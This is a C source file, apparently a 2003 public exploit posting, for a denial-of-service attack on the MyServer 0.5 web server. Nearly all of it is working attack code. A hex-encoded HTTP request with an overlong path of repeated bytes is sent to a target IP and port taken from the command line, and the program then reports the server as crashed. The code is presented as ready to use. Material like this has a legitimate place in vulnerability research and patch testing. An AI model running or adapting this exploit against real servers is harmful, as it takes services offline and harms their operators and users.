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- /* MyServer 0.5 DoS
- vendor:
- http://myserverweb.sourceforge.net
-
- coded and discovered by:
- badpack3t <badpack3t@security-protocols.com>
- for .:sp research labs:.
- www.security-protocols.com
- 11.12.2003
-
- usage:
- sp-myserv <targetip> [targetport] (default is 80)
- */
-
- // #include "stdafx.h"
- #include <winsock2.h>
- #include <stdio.h>
-
- #pragma comment(lib, "ws2_32.lib")
-
- char exploit[] =
-
- /* entire request */
- "\x47\x45\x54\x20\x2f\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x2e"
- "\x68\x74\x6d\x6c\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x52"
- "\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6c"
- "\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2f\x66\x75\x78\x30\x72\x0d\x0a"
- "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70"
- "\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d"
- "\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64\x0d"
- "\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65"
- "\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67"
- "\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37"
- "\x36\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20"
- "\x4c\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36"
- "\x38\x36\x29\x0d\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72"
- "\x65\x73\x75\x6c\x74\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63"
- "\x61\x6c\x68\x6f\x73\x74\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d"
- "\x6c\x65\x6e\x67\x74\x68\x3a\x20\x35\x31\x33\x0d\x0a\x41\x63\x63"
- "\x65\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20"
- "\x69\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c"
- "\x20\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61"
- "\x67\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f"
- "\x70\x6e\x67\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f"
- "\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0d\x0a\x41\x63\x63\x65"
- "\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f\x2d"
- "\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0d\x0a"
- "\x0d\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x3f"
- "\x0d\x0a";
-
- int main(int argc, char *argv[])
- {
- WSADATA wsaData;
- WORD wVersionRequested;
- struct hostent *pTarget;
- struct sockaddr_in sock;
- char *target;
- int port,bufsize;
- SOCKET mysocket;
-
- if (argc < 2)
- {
- printf("MyServer 0.5 DoS by badpack3t\r\n <badpack3t@security-protocols.com>\r\n\r\n", argv[0]);
- printf("Usage:\r\n %s <targetip> [targetport] (default is 80)\r\n\r\n", argv[0]);
- printf("www.security-protocols.com\r\n\r\n", argv[0]);
- exit(1);
- }
-
- wVersionRequested = MAKEWORD(1, 1);
- if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
-
- target = argv[1];
- port = 80;
-
- if (argc >= 3) port = atoi(argv[2]);
- bufsize = 1024;
- if (argc >= 4) bufsize = atoi(argv[3]);
-
- mysocket = socket(AF_INET, SOCK_STREAM, 0);
- if(mysocket==INVALID_SOCKET)
- {
- printf("Socket error!\r\n");
- exit(1);
- }
-
- printf("Resolving Hostnames...\n");
- if ((pTarget = gethostbyname(target)) == NULL)
- {
- printf("Resolve of %s failed\n", argv[1]);
- exit(1);
- }
-
- memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
- sock.sin_family = AF_INET;
- sock.sin_port = htons((USHORT)port);
-
- printf("Connecting...\n");
- if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
- {
- printf("Couldn't connect to host.\n");
- exit(1);
- }
-
- printf("Connected!...\n");
- printf("Sending Payload...\n");
- if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
- {
- printf("Error Sending the Exploit Payload\r\n");
- closesocket(mysocket);
- exit(1);
- }
-
- printf("Remote Webserver has been DoS'ed \r\n");
- closesocket(mysocket);
- WSACleanup();
- return 0;
- }